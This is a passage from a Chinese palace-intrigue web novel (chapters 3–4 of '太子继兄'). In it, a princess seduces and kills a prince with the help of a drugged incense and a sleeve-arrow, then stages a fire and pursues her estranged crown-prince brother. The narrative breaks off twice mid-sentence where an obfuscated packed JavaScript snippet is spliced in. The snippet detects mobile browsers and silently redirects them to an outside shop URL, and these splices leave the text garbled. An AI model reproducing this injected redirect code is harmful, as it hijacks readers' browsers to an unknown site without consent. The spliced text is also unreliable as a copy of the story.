《太子继兄》 3. 第3章 当了三年缩头乌龟的萧珩似乎打定主意回京后继续缩着。 萧晚滢从清晨等到天黑,等得着急上火,唇角起了泡,打发宫女去东宫送的信,再次被退了回来。 一如这三年来一样。 那些寄出的信件从起初的服软认错,到后来的恼羞成怒,大骂萧珩。 萧晚滢的内心也经历了从平静到愤怒甚至发狂,却依旧得不到萧珩的半点回应。 萧晚滢两岁就被送到崔皇后的含章殿了,崔皇后爱女夭折后,继后在那年生下了她。崔皇后便认为是她夺了爱女的生机,强行将她从生母身边夺过来抚养。 但那时候,崔皇后已经疯癫病态,不发病时,随意辱骂她,不许她吃饭,像畜生一样,将她关在笼子里。发病时,又将她当成那个夭折的小公主般搂在怀中疼爱。 崔皇后待她忽冷忽热,忽好忽坏,萧晚滢每天担惊受怕,几欲崩溃。 直到有一天深夜,崔皇后将她从寝宫中拖出来,将她的头摁到河里,要淹死她。 是太子咬伤了崔皇后的手臂,救下了她。 之后很长一段时间里,她和太子都在与崔皇后斗智斗勇,东躲西藏,若是不小心被崔皇后找到后,太子会挺身而出护着她,替她挨打。 那时她三岁,太子八岁。 再过了两年,崔皇后与魏帝发生冲突,发疯伤了魏帝,魏帝终于下令将她关起来,后来突染恶疾亡故。 那年,贵妃傅兰若,也就是萧晚滢的生母被册封皇后,成了魏帝的继后。 五岁那年,她被接出了含章殿。 但继后忙于争宠,大多数时间都在想方设法留住魏帝,忙于陪魏帝参加各种宫宴,陪他出宫游玩狩猎,陪自己女儿的时间并不多。 萧晚滢仍然往含章殿跑,后来太子及冠后迁居东宫,她便大多数时间都住在东宫的西华院之中。 小时候担惊受怕,经常饿着肚子关被黑屋,饥一顿饱一顿的,导致萧晚滢的身体一直不好,时常生病,每回都是太子照顾她,陪在她身边一整宿。 更是在她十三岁生辰那天,将那亲手种了满院海棠,有着一方天然温泉池的海棠别院赠给萧晚滢。 在多年的朝夕相处中,萧晚滢也越来越依赖萧珩。 在魏帝所有的皇子公主之中,就数他们最亲,就连刘贵妃亲生的嘉乐公主和四皇子也彼此看对方不顺眼,有闹红脸的时候。 但萧珩宠着她,纵容包容她的坏脾气。 萧晚滢以为这样的日子会持续一辈子。 可没想到,有一日,萧珩会突然疏远她,让她搬回朝华殿。 萧晚滢还记得那天她找萧珩吵了一架,她发脾气吵架还有另外一个原因,萧珩突然选了伴读入宫,伴读是崔家的那对孪生兄妹。 她生气是崔媛媛也唤萧珩太子哥哥。 萧晚滢一直以为自己是萧珩唯一疼爱的妹妹,只有她才能与萧珩那般亲近,可当崔媛媛多次借口请教诗文和琴技接近萧珩之时,积压的怒火终于大爆发。 说是吵架,那纯属是她单方面发泄不满,并将萧珩曾经送给她的璎珞项圈狠狠砸向萧珩的额头。 她知萧珩的武艺应该不弱,必定能轻易躲过,可他却没有躲。 他就站在那里,任凭那金项圈重重砸向他,额头红肿不堪,他不发一言,事后语气冷漠,只让人送她回宫。 三日后,待她气消了,再去找萧珩,心想只要她服软认错,萧珩一定会原谅他。 可萧珩却已经请旨连夜前往豫州。 骄傲如萧晚滢也曾在信中拉下身段认错,写了一封又一封的认错信。 萧珩不回信,她再写。 直到数十封信都石沉大海,她逐渐暴躁。 开始胡搅蛮缠,撒泼发疯。 一个月前的最后一封信,她画了个大大的乌龟。 在乌龟的背上大书萧珩的名字。 再后来,她便收到了萧珩送来的大婚贺礼,便是那对被她砸碎的鸳鸯佩。 萧晚滢气得又在心里咒骂一句,“死乌龟,死萧珩。” 她就不信,萧珩能永远缩在他那乌龟壳里不出来。 眼下她不能再被动地等下去了,萧睿派人盯着朝华宫,她派人去东宫吃了闭门羹的事,萧睿恐怕也已经知晓了。 萧睿很快也会察觉出不对劲,很快就会知道她和太子闹翻,知道她如今根本就不得太子宠爱,甚至连见萧珩一面都难。 还有,萧睿怀疑她的身世,虽说目前还没有证据,但不代表他不会去查。 母后在入宫前就有孕的事,当年就有三个人知晓,一个是萧晚滢那短命早死的亲爹,还有当年母后贴身伺候的丫鬟玉兰,以及母后生产前,为她调理身体的张太医。 张太医告老还乡的途中,马车出事,跌落悬崖,已然粉身碎骨。 玉兰虽然失踪多年,音信全无,这些年却好似人间蒸发了一般,但玉兰的存在,始终是个隐患。 她焦急地在寝宫踱步。 直到暮色降临,那令人烦躁的念经声再次传来。 萧晚滢揉了揉疼得麻木的太阳穴,连续数日没睡好,她心情越发烦躁,脑中像有人不断用针刺一般疼。 她坐回案前,快速提笔写了几个字,对珍珠说道:“你替本宫约萧睿去一个地方,海棠别院。” 珍珠惊讶地道:“这海棠别院曾是太子殿下送给公主的生辰贺礼,那里的西府海棠都是当年太子殿下亲手为公主种下的。公主自小身体弱,太子殿下送您这间别院,是让您能多泡泡温泉,说是有强身健体之效。” “再说四皇子虎狼心思,公主主动邀约,那不是自投罗网吗?” 萧晚滢将笔往桌案一摔,“我就是要让他觉得我是走投无路了,自投罗网。” * 传言不假,继后擅房中术,入宫之后执着于争宠,使出浑身解数勾引魏帝,这些年,继后独得圣宠,魏帝被她迷得神魂颠倒,身体逐渐被掏空,如今房事不尽如人意,常需辅助药物才能行事,肾虚劳损,身体每况愈下,到处寻求长生不老的仙药。 继后虽得圣宠,但心中郁结,知自己时日无多后,担心日后萧晚滢嫁去卢家不得夫君疼爱,便请来青楼花魁教华阳公主一些美容养颜的窍门。 每日都用磨碎的珍珠粉敷脸,搜集秘戏和春宫图的孤本,还教了她一些取悦男子的房中秘术。 养出了如雪般白皙,如脂膏般滑嫩的肌肤,还要求萧晚滢每日坚持束腰,若是腰宽了,可要被罚戒尺的。 萧晚滢今天特意挑了一件束腰的红色薄纱寝衣,更加衬托得腰肢柔软,不盈一握。 沉璧为她梳妆,她用上自己最喜欢的海棠花香。 就连身下也用了颗从内至外发出香味的香珠。 珍珠送了信回来,萧晚滢便让珍珠掌灯,去往海棠别院。 将身子没入温泉池,轻轻闭上眼睛。 直到一阵踉跄的脚步声。 她才睁开眼睛。 鱼儿要上钩了。 今日没能得到萧晚滢,萧睿觉得身边那几个姿色尚可的侍妾都没了滋味,心情郁闷,便喝了不少酒,可听说萧晚滢主动邀约,心中高兴便又多饮了几杯。 萧晚滢前后态度转变如此之快,他也不是没有怀疑。 但他觊觎萧晚滢多年,这海棠别院便是刀山火海,他也要闯一闯。 此刻,他脚步踉跄,见到那皎洁的月光下,在池中轻拨温泉水沐浴的萧晚滢后,更是心驰神荡,魂儿都飞走了。 此刻温泉池中只有几盏悬挂在海棠树上的美丽花灯,随风轻晃。 朦胧的光影之下。 花灯照影,印照在美人如玉般的美丽面容之上。 女郎纤长的颈露出水面。 水雾缭绕,婀娜娉婷的身段若隐若现。 萧睿咽了咽口水。 一时失神,醉酒后脚步不稳,差点在那被泉水浸泡得光滑的石块之上跌了一跤。 萧晚滢捂嘴咯咯笑了起来。 “四皇兄,仔细脚下滑!” 萧晚滢从温泉池中起身,缓缓走到池边。 这更是一种极致的视觉盛宴。 她身上的衣裳全都湿透了。 紧紧贴在身上,更显得身形婀娜,玲珑有致。 黑色披风包裹着红色的寝衣,有种既神秘又张扬的美。 她侧臀坐在萧睿的身边,轻轻地提起湿漉漉的裙摆。 露出修长笔直的小腿,足尖绷直,伸进温泉池水之中,轻点水面,晶莹剔透的水珠在玉足上滚动。 萧睿眼睛都看直了,面颊热烫,心跳急促,仿佛心都快要跳出胸腔。 他迫不及待地抓住萧晚滢的脚,往怀中一带,萧晚滢抬足轻轻一踢,将他踢得往后仰,轻笑着,像是在与萧睿调情。 萧晚滢慵懒地坐着,端起池边的白玉酒杯递到他的嘴边,“四皇兄,喝吗?” 萧睿被那娇媚的嗓音勾得神魂颠倒,但还没彻底失了神智。 “二妹妹不会下毒了吧?” 萧晚滢面带嗔怒,一把夺过酒杯,长饮了一口。 萧睿见萧晚滢生气,讨好般的低头一口咬过杯盏,口覆在萧晚滢留在杯沿的唇印之上,衔于口中,一饮而尽。 春日花叶繁茂,海棠别院繁花葳蕤,落红纷飞。 藏匿在树上之人,拨开眼前繁茂的花枝,往温泉池中望去,其间热气蒸腾,见自家主子赤着上身在温泉池中。 与华阳公主抱在一起。 陆元面无表情地赶紧移开视线。 萧睿平日恶事做尽,毁在他手中的良家女子不计其数,虽说色胆包天,但却行事相当谨慎。 就譬如今日,他虽赴约却带着武艺最高强的陆元一道前来,就是疑心萧晚滢使诈。 到了夜间,满院西府海棠繁花似锦,清香扑鼻,陆元不知怎的闻到这股浓郁的花香觉得昏昏欲睡。 往常他跟着萧睿身边,即便寸步不离守一整夜都不会犯困,今日这花香闻着实古怪。 他心里一咯噔,暗道:“不好。” 他中招了! 到底是何时中招的?他一一回想今日接触的人,回想酉时时分,华阳公主身边的宫女珍珠来送信,随行的还有一个小太监。 那小太监与他擦身而过。 应该是那个时候就被算计了。 他赶紧去闻自己的袖口,袖口上确隐约极淡的花香。 而自从进入这海棠别院,这里盛开的海棠花,枝繁叶茂,仿若身处花海,浓郁的花香掩盖了他身上的香气。 华阳公主当真好算计啊。 她给萧睿的那杯酒无毒,而真正有毒的是他身上的这种不知名的迷香。 但见温泉池中,嘻戏声传来,萧睿已经压着公主来到温泉池边。 那起伏的身影,应是在行云雨。 萧睿性子暴躁,手段阴狠。最讨厌被人打扰破坏好事。 陆元不敢轻举妄动,只是拔出了短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786547|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀,神色警惕,进入戒备状态。 就在他那片刻的犹豫间。 一声惨叫声传来。 “糟糕!” 他又中计了。 温泉池中的身影仍在起伏,那声惨叫提醒他,他见到的是幻觉。 迷香有致幻的效果。 他一刀刺进自己的大腿,挑开身上的外衣,疼痛让他回复了片刻清醒。他使劲揉了揉眼睛,终于看清了眼前发生的一切。 萧晚滢手中紧紧地握着袖刀,那袖刀正插进了萧睿的腹中,他看到的行云雨,其实是萧晚滢正在杀人。 真相应该是萧晚滢故意引诱萧睿下水,假意跌入他怀中,用事先藏匿的袖刀,一刀捅进了萧睿的腹部。 萧晚滢工于心计,心狠手辣,狡猾至极。 陆元着急去救主子,却见一道人影跃上花树,手中的长剑向他刺来,这是萧晚滢的贴身侍卫青影。 青影手中的长剑纠缠得紧,陆元心急如焚,那迷香也起了作用,让他头晕脑胀,无法集中注意力,他无法摆脱青影的缠斗,无法施救。 * 这是萧晚滢第一次杀人,她紧张慌乱,手在发抖,尽管事先在心中谋划千百遍,可当她真正动手时,还是因为慌张失了准头。 刺入萧睿腹部的那一刀并不致命,遭到萧睿猛烈的反击。 萧晚滢不会武艺,眼看着要被萧睿一掌拍飞,若是撞击在温泉池边的那块岩石之上,不死也会重伤。 在这千钧一发之际,只听“噗嗤”一声,是利箭刺入皮肉的声音。 萧睿像是被钉在了原地,突然不动了。 手无力地垂下,猛地往前栽倒在温泉池中。 在他倒下的那一瞬,萧晚滢这才看到,他背后插着几支短箭。 温泉池边,站着的是同样吓得浑身发抖,仍在强装镇定的卢照清。 萧晚滢看到了卢照清藏于袖中的袖箭,这才长吁一口气,心脏仍然紧张得怦怦乱跳,良久才颤声问道:“你怎会在这儿?” 卢照清惊惶未定,赶忙擦拭额头的冷汗,“臣担心公主。” 他因为放心不下公主,躲在暗处,一直未曾离开。 卢照清望向树上正在打斗的人,陆元虽然中了迷香,但青影仍然不敌,腰腹中了一刀,大腿也被短刀割伤,眼看着她就要命丧陆元刀下。 陆元一脚将青影踹下树稍,持刀猛地向萧晚滢扑来,他打算抓活口,去向刘贵妃复命,毕竟萧睿死在他面前,他护卫不力,必定死路一条,但抓住杀了萧睿的真凶,刘贵妃说不定会饶他一命。 卢照清眼见着那刀就要落在萧晚滢的身上,情急之下,他一手抓住那刀刃。 萧晚滢大声唤,“青影”。 青影强忍伤痛,拼尽全力,往前猛地扑向陆元,死死地抱住他。 就在这千钧一发之际,萧晚滢抓住卢照清的手,袖箭射出,正中陆元的咽喉,顷刻毙命。 青影重伤倒地,喘息不已。 萧晚滢也差点跌倒,多亏卢照清扶着她,她才没因腿软一头栽下去。 卢照清笑看着萧晚滢,惊惶未定,还不忘夸奖,“公主殿下的骑射比臣强多了。” 萧晚滢骄傲地昂首,“那是自然。” 她的骑射都是太子哥哥手把手教的,宫学的第一名。 她下意识就要欢喜得脱口而出,却赶紧抿紧了唇瓣。 珍珠急匆匆地跑来,见到眼前的场景,差点眼前一黑,差点吓晕过去。 公主冒奇险杀四皇子,可该如何善后啊? 四皇子一直纠缠公主,如今他死了,刘贵妃会善罢甘休吗? 珍珠发出一声绝望的惊呼,“完了。” 萧晚滢则抢过珍珠手中的宫灯,将美酒淋在灯上,往陆元身上扔去,顿时尸体便被点燃,顷刻便熊熊燃烧起来。 * 今晚夜色暗淡,细密的春雨像是薄雾轻笼,冷风再将那细若轻纱的雨雾从四面八方将人完全包裹住。 “华阳求见太子哥哥!” 萧晚滢站在雨雾之中,寒意将她从头到脚紧紧包裹住。 春夜寒凉,薄透的寝衣紧紧贴在身上,红衣湿透,包裹着玲珑有致的曲线,女郎发丝凌乱,钗环遗落,仿佛一朵迎风而颤的小白花。 颤抖的声音更加显得楚楚可怜。 “若太子哥哥执意不肯相见,阿滢便长跪不起。” 萧晚滢作势重重地跌跪下去,可身体虚弱,摇摇欲坠。 突然,白衣身影疾步闪身而出,长臂一伸,揽住萧晚滢的后腰。 萧晚滢乘势往前,就要跌进皇太子萧珩怀中。 突然眼前一黑,一件白袍至上而下,将她紧紧包裹住。 始终与她保持着距离,冷漠得像是拒人千里之外。 而后,他淡淡开口,“孤让人送你回去。” 三年未见,萧珩同她说的第一句话,一如从前。 冷漠的语气也一如从前。 不同的是,三年未见,他的身姿更加挺拔,越发俊朗,也越发冷漠。 萧晚滢突然一口咬在萧珩的手背之上。 那一下咬得极重,直到唇上染了血迹,她才松开。 咬了之后,脸上带着得逞笑容,得意地看着他。 心道:“太子哥哥,好久不见!” 不过这一次,他休想再赶她走,也休想再摆脱她。 若这三年他忘了她,那她便要用这种方式让他记住,记一辈子。 4.第4章 萧晚滢那一口咬得极重,像是要将连日来积攒的怨气都发泄了。 鲜血顺着牙印渗出,萧珩的手背上出现了明显的一道血印子。 萧珩却无半分情绪变化,却像是猜中了她的心思,淡淡说道:“闹够了吗?闹够了,就回去。” 萧晚滢唇瓣染血,格外的红艳,绝色的容颜更显魅惑,笑看着萧珩。 就在这时,她身后的漆黑夜空,骤然被点亮了。 宫殿的某处着了火,她的身后是大火燃烧后,足以照亮一方天地的火光。 她颇有些遗憾说道:“糟糕,太子哥哥,阿滢好像回不去了呢!” 只不过她演得有些假,仿佛也不屑于去演,眼神有遗憾,透着假笑。 萧珩就这样静静地看着她演戏。 身旁的随从辛宁道:“太子殿下,属下观着火的方向应该是海棠别院,海棠别院西连二公主的朝华殿,若是公主殿下回去,恐怕会有危险……” 不远处也传来宫人们的呼喊声,“走水了,快来救火啊!” 今夜风大,火势蔓延,海棠别院的一场大火,也牵连了朝华殿。 萧晚滢一脸天真地看向萧珩,“那太子哥哥,阿滢现在可以留下了吗?” 萧珩并未说话,微微蹙眉。 他那素来最擅长装乖讨巧的皇妹,三年未见,她连装都懒得装了。 “好。” 半响,萧珩终于松了口。 萧晚滢弯了弯唇角,露出得逞的笑意,也不枉她今夜的一番谋划,她终于能如愿以偿,留在东宫。 只要她能再回西华院,便能回到从前,和萧珩和好如初。 萧珩不是想躲着她吗?那她便让他无处可躲。 萧珩好像能读懂她的心思,冷声道:“不过,只限今晚。” 萧晚滢瞬间变脸。 萧珩扫过她面上的神色,“你若不愿,今夜也可去晨曦殿同嘉乐挤一挤。” 晨曦殿是三公主萧姝的宫殿,三公主是萧睿的胞妹。 难道萧珩猜到了什么? 这不可能! 萧晚滢很快否定了这个念头,就算萧珩再神通广大,也不可能刚回宫便猜到今夜发生之事。 “不,阿滢愿意留宿西华院。” * 在萧晚滢入西华院后,才消停不到片刻,便又传来了动静。 萧晚滢摔了宫女文惠为她准备的姜汤,趁机抓了一块碎瓷片,做防御状,若谁靠近,她便握着那块瓷片,往谁身上刺。 伺候的宫女们不敢靠近,更怕她弄伤了自己。 文惠赶紧去禀报太子殿下。 待萧珩赶到之时,萧晚滢正缩在角落里。 身上只穿了一件轻薄的红色寝衣,寝衣已经湿透。 赤着的脚边满是水渍。 萧珩见状,不禁皱了皱眉头。 听文惠说是公主要沐浴,可刚一碰到她,却不知何故竟激怒了她。 文惠也是从前在西华院伺候过华阳公主的老人,事先也询问过萧晚滢的意思,这才上前伺候,为她沐浴宽衣,却没曾想一碰到她,萧晚滢的反应竟如此激烈。 萧珩摆了摆手,道:“先退下吧!” 萧晚滢手中的瓷片握得太紧,已经割破了她的手指,有血从指缝间渗出。 此刻萧晚滢长发散在身侧,及腰长发垂及地面,抱膝,身子蜷缩成一团,头埋在臂膀之中。 听到脚步声,她好似浑然不觉,嘶吼出声,“滚,不许碰我,本宫让你滚啊!” 萧珩一把抓住她的手腕,萧晚滢拼命挣扎。 萧珩只得强行用力掰开她的手指,取出掌心紧握的瓷片。 为了不让她伤到自己,萧珩选择先抓住瓷片,任由那锋利如刃的瓷片划得掌心鲜血直流。 鲜血顺着指尖流下。 “萧晚滢!” “萧晚滢,你清醒一些!” “孤在。” 萧晚滢渐渐地放弃挣扎,那双布满红血丝的眼睛缓缓抬起,怔怔地抬头看着他,双睫轻颤,那双水雾朦胧的眼睛中已蓄满了珠泪,长睫一抖,珠泪颤落。 她突然扑进太子的怀中,跪着往前,抱住萧珩,“太子哥哥。” 那带着浓浓鼻音的声音带着极大的委屈。 萧珩扔了手中的瓷片,缓了缓语气道:“好了,没事了。” “先去沐浴,将这身湿衣换下,孤让人为你上药。” 姜晚滢摇了摇头,靠在他怀中,用带着浓浓的鼻音说,“不要。” 萧珩冷声:“去不去?” 萧晚滢摇头,还将身子凑过来,挨蹭着萧珩,将他那身整洁的雪白锦袍蹭湿了大片。 萧珩微不可察地弯唇,觉得好气又好笑。 萧晚滢此举是想试探着他的态度, 萧珩却板着脸说道:“那便冷死算了!” 萧晚滢抓起他干净整洁的衣袖,擦拭眼泪,将他的袖子也弄湿,“哦,没人疼阿滢,还不如死了算了。” 她故意挨着他,是想让他感受她的冰冷,感受她在颤抖,想让他心软,想让他妥协。 她素来如此,善于伪装,讨巧,装乖。 “冷……”萧晚滢将自己缩成一团,艳若桃瓣的眼中好似蒙着一层水雾,她轻轻地扯着萧珩的衣角,“太子哥哥,好冷…” 她本就身弱,也是真的冷,她从温泉池中出来后,便一直穿着这身湿透了的寝衣,为了让萧珩怜惜,又故意在冷风中站了许久,身上更似冷的没了温度。 又因为同萧珩赌气,将他的衣袍扔了,春夜更深露重,这会儿,她已经面色苍白,浑身发冷,单薄的身子正在微微的颤抖。 见萧珩仍是一副冷脸,无动于衷的模样,她轻轻抓住萧珩的手,触碰自己的脸颊,“不信,太子哥哥你摸摸看。” “你……”萧珩赶紧将手缩了回去。 “孤最后问一句,真的不去?” 萧晚滢摇头,“除非哥哥答应让我留在东宫。” 她无力地靠在萧珩的肩头,显然已经撑不住,就要倒下。 萧珩索性一把将她扛在肩上,往雕刻着花鸟的花梨木屏风后的浴桶走去。 萧晚滢是被扔进水里。 扔进去的时候整个人都是懵的。 萧晚滢顿时头晕眼花,昏沉的脑袋却又瞬间清醒了。 生气,愤怒,种种情绪涌上心头。 “萧珩,你干什么!” 她呛了一口水,正要发作,却突然勾起了三年前的一段回忆。 在崔皇后病故之后,萧晚滢骤然摆脱了长期压抑,彻底放飞自我。 有一日,她喜欢上了一种青梅酒,还贪杯醉得不醒人事。 萧珩忙完政务回到东宫,发现她抱着酒壶坐在他的寝宫门前,冲他傻笑。 她穿着寝衣,赤足,雪白的玉足上还沾染了花瓣和草屑,应是在某处花丛中奔跑过。 萧珩皱眉:“怎的竟醉成这样,来人,快将这醉鬼扔进西华院。” 她弯着眼眸看着萧珩,摇摇晃晃地起身,“不要。” 她嘟着嘴,一手叉腰,一手指着他,认真说道:“阿滢决定,今晚和哥哥一起睡!” 说完便摇摇晃晃地起身,爬上了他床。 不知是恶作剧,还是因为醉酒不省人事,她竟然说出了这般惊世骇俗之言。 小时候,崔皇后发疯,经常在半夜会将熟睡的萧晚滢抱到萧珩的榻上,用满脸慈爱的眼神看着床上的一双儿女,眼睛也不眨,一动不动地枯坐一夜。 后来,萧晚滢每次做噩梦,便会爬到萧珩的榻上,只不过每回都被萧珩拎回西华院。 除了那次发酒疯。 萧珩爱洁。 她却用那沾了花瓣和草屑的小脚踩上了他的床塌,他那本就没什么表情的冰块脸,阴沉得都快滴下水来。 因为唤不醒酒鬼,萧珩便用锦被将她一裹,直接丢进净室,不顾她的反抗,将她按进水里,十分粗暴地将她从头到脚彻底洗干净。 那是她记忆中与萧珩最后一次相处的画面。 也是从那时起,萧珩每日都早出晚归,每天都去巡视军营,回来的很晚。 她总也见不到萧珩,她去找他,却总是被告知他不在宫中。 后来,萧珩更是直接住进了军营。 她出宫去寻他,萧珩的手下便以女子不得入军营,将她阻拦在外。 再后来,崔家兄妹被选做太子伴读入东宫。 崔媛媛便想方设法地引起萧珩的注意,恨不得时刻黏着萧珩。 她与萧珩大吵一架,甚至与他决裂。 吵架的原因也不全是因为崔媛媛,气他总是借口接近萧珩,其实是她察觉到萧珩在故意疏远自己。 当然也不妨碍她是真的讨厌崔媛媛,假借请教,却行接近太子哥哥之实。 这三年来,她一直在想,到底是从何时开始,萧珩开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789598|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意疏远自己,思来想去都觉得是她醉酒的那天晚上。 那夜,她醉得迷糊,具体的细节已经记不清了,只记得萧珩将她抱进了浴桶,替她散下长发,她浸泡在温暖的水中,困极了,竟在沐浴时睡着了。 后来到底发生了什么,她完全没有印象。 但如今萧珩回来了,她定然弄清楚,那天晚上到底发生了什么,到底为什么萧珩要疏远自己? 如今萧珩做出了三年前相同的反应,在水声响起,水花飞溅而起的那一瞬,他好似突然反应过来,连自己都愣了一下。 “让珍珠进来伺候吧!孤便先走了。” “朝华殿的大火已经扑灭,你可暂时宿在偏殿。萧晚滢,孤知晓你想做什么,但明日一早你必须离开!” 萧晚滢抹去脸上的水珠,盯着萧珩的背影,她不甘心,生怕自己再像三年前那般,被萧珩再次抛下,害怕他会再次离开洛京,一别多年。 她急忙跨出浴桶,去扯萧珩的衣袖,身体却往后一滑。 “太子哥哥,救我!” 她情急之下紧紧抓住萧珩的臂膀,却抓了个空。 萧珩着急回头去揽她的后腰,哪知萧晚滢突然一把抓住他的前襟。 往前猛地一带,拉着他往后倒去。 她拉拽着他一同跌入了浴桶之中。 她是故意的。 她只是想知道三年前的那个晚上到底发生了什么,只想弄清太子为何要疏远她,她想留在西华院,留在太子哥哥身边。 但萧珩只是将手从她的腰间移开,再也不看她一眼,头也不回,拂袖离开西华院。 三年前他到底因为什么生气? 萧晚滢想不明白。 但她好不容易才回到这里,她是不会走的。 萧珩想方设法要送她走,但她偏要赖着他。 萧珩走后,萧晚滢已经换了衣,珍珠和文惠也被唤进来伺候,替她包扎手指,珍珠赶紧递上手巾,萧晚滢接过手巾擦拭发尖的水珠,让文惠退下。可到底是为什么,真是百思不得其解。 自从珍珠目睹了萧晚滢杀了四皇子之后,便无一刻不忧心忡忡。 她原以为太子殿下会许公主留下,这样即便他日东窗事发,至少公主还有人庇佑。可没想到太子却下令天一亮便让公主离开。 可真真是急煞了珍珠。 如今四更天已过,很快就要天亮了。 珍珠不确定卢照清是否可信,若刘贵妃发现了三皇子已死,会不会怀疑到公主的身上?公主失去了太子的庇佑,又该怎样度过这次难关? “殿下,再过两个时辰就要天亮了。” 萧晚滢却毫不在意,赤足踩在地上,地上铺了厚厚的绒毯,毛茸茸的,很暖和,也很舒服,这般布置之人应该是极为了解她的习惯,担心她会着凉。 方才她并未仔细看房中摆设,这才发现小几上的琉璃瓶中插着几支垂丝海棠,应是刚从树枝上折下不久。 花苞含苞待放,瓶中的清水也是每日换过的。 还有殿中的熏香,也是她最喜欢的海棠花香。 她坐在床榻上,将锦被抱在怀中,还闻到一股在阳光下晒过的味道。 殿中摆设也是她曾用过的,全都维持原样,家具一尘不染,可见经常有人打扫,博古架上的瓷器也被擦拭得程亮无比,墙上还悬挂着一个小小的弹弓。 应是太子哥哥的安排。 看来,萧珩对自己的态度并不像他表面上看起来的那般冷漠。 萧晚滢微微扬起了唇角。 见萧晚滢在殿中踱步,一时蹙眉沉思,一时又忍不住唇角上扬,珍珠忍不住提醒道:“公主殿下?” 萧晚滢这才回过神来,看向珍珠,轻笑道:“三皇兄之死,与本宫无关呐!放心,刘贵妃查不到本宫的头上。” 三皇子之死,她已有脱身之策,不必担心,况且她的心思也并不在这件事上。 她全都的心思都放在,天亮后,她要如何才能留下。 还有弄清在萧珩身上到底发生了如何?她要知道萧珩待自己如此冷漠的原因。 以她对萧珩的了解,他是她见过的最能忍的人。 小时候,萧珩为了她,尽管被崔皇后打得半死,下一次还是会毅然决然地挡在她面前,真是又傻又执拗。 萧珩不说,那她便主动去问,萧珩不是要下决心疏远她么? 但她以后都不会再给他疏远自己的机会了。